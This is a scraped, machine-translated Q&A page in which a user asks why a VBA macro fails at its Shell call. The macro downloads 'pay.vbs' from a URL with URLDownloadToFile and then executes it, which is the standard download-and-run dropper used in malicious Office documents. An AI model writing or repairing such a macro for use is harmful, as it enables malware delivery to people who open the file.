Warning: file_get_contents(/data/phpspider/zhask/data//catemap/0/vba/16.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
宏VBA代码外壳程序无效过程调用或参数_Vba_Vbscript - Fatal编程技术网

宏VBA代码外壳程序无效过程调用或参数

宏VBA代码外壳程序无效过程调用或参数,vba,vbscript,Vba,Vbscript,我试图制作一个宏来下载并执行文件。代码如下: Private Declare Function URLDownloadToFile Lib "urlmon" Alias _ "URLDownloadToFileA" ( _ ByVal pCaller As Long, _ ByVal szURL As String, _

我试图制作一个宏来下载并执行文件。代码如下:

Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
                    "URLDownloadToFileA" ( _
                        ByVal pCaller As Long, _
                        ByVal szURL As String, _
                        ByVal szFileName As String, _
                        ByVal dwReserved As Long, _
                        ByVal lpfnCB As Long) As Long

Sub AAA()
Dim SourceName As String
Dim Destination As String
Dim R As Long

SourceName = "http://localhost/files/pay.vbs"
Destination = "C:\users\david\ex.vbs"
R = URLDownloadToFile(0&, SourceName, Destination, 0&, 0&)
Shell "C:\users\david\ex.vbs", vbNormalFocus
End Sub

它给出了错误:无效的过程调用或参数

假设pay.vbs已正确下载,并且错误在shell execute中,则pay.vbs的本地副本可能需要参数或以某种方式引用其原始主机。请参阅。生成错误的是VBA还是VBScript?确切的错误消息是什么样子的?您使用的是64位版本的Windows吗?@MacroMan是的,Windows 10 64位